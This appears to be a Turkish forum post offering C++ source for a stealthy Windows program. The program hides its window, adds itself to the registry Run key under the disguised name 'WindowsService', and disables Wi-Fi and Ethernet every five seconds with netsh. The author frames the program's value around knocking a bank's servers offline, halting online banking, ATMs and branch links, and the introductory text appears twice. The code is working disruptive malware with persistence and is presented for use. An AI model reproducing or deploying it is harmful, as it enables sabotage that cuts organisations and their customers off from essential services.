Merhaba, bu konuda C++ ile kodladığım çalıştığı bilgisayar üzerinde Wi-Fi ve Ethernet'i kapatan program kodlayacağız.
Programı arka planda çalışacak şekilde kodladım yani kullanıcıya herhangi bir çıktı gösterilmiyor.
Her 5 saniyede bir Wi-Fi ve Ethernet'i kapatıyor program.
Program Windows'un başlangıç programları listesine kendini ekler
Ayrıca program kendini Windows Kayıt Defterine de ekler.
İşte Programın Kodları ;
Program daha fazla geliştirildiğinde etkisini anlayabilmek için bir banka örneği verelim.
Eğer bu program bir bankanın ana sunucusunda çalıştırılırsa ;
Program, internet bağlantılarını her 5 saniyede bir kapatır, bu da bankanın ağdan tamamen kopmasına neden olur.
Sunucuya uzaktan erişim imkansız hale gelir.
Bankanın hizmetleri (örneğin online bankacılık, ATM bağlantıları, müşteri işlemleri) durabilir.
Ağ bağlantısı kesilirse:
Şubeler arası bağlantılar kopar.
Müşteriler hesaplarına erişemez.
Programı arka planda çalışacak şekilde kodladım yani kullanıcıya herhangi bir çıktı gösterilmiyor.
Her 5 saniyede bir Wi-Fi ve Ethernet'i kapatıyor program.
Program Windows'un başlangıç programları listesine kendini ekler
Ayrıca program kendini Windows Kayıt Defterine de ekler.
İşte Programın Kodları ;
C++:
#include <windows.h>
#include <iostream>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
HKEY hKey;
const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
RegOpenKeyExA(HKEY_CURRENT_USER, path, 0, KEY_SET_VALUE, &hKey);
char filename[MAX_PATH];
GetModuleFileNameA(NULL, filename, MAX_PATH);
RegSetValueExA(hKey, "WindowsService", 0, REG_SZ, (const BYTE*)filename, strlen(filename) + 1);
RegCloseKey(hKey);
// Victor77
while(true) {
system("netsh interface set interface \"Wi-Fi\" admin=disable >nul 2>&1");
system("netsh interface set interface \"Ethernet\" admin=disable >nul 2>&1");
Sleep(5000);
}
return 0;
}
Program daha fazla geliştirildiğinde etkisini anlayabilmek için bir banka örneği verelim.
Eğer bu program bir bankanın ana sunucusunda çalıştırılırsa ;
Program, internet bağlantılarını her 5 saniyede bir kapatır, bu da bankanın ağdan tamamen kopmasına neden olur.
Sunucuya uzaktan erişim imkansız hale gelir.
Bankanın hizmetleri (örneğin online bankacılık, ATM bağlantıları, müşteri işlemleri) durabilir.
Ağ bağlantısı kesilirse:
Şubeler arası bağlantılar kopar.
Müşteriler hesaplarına erişemez.

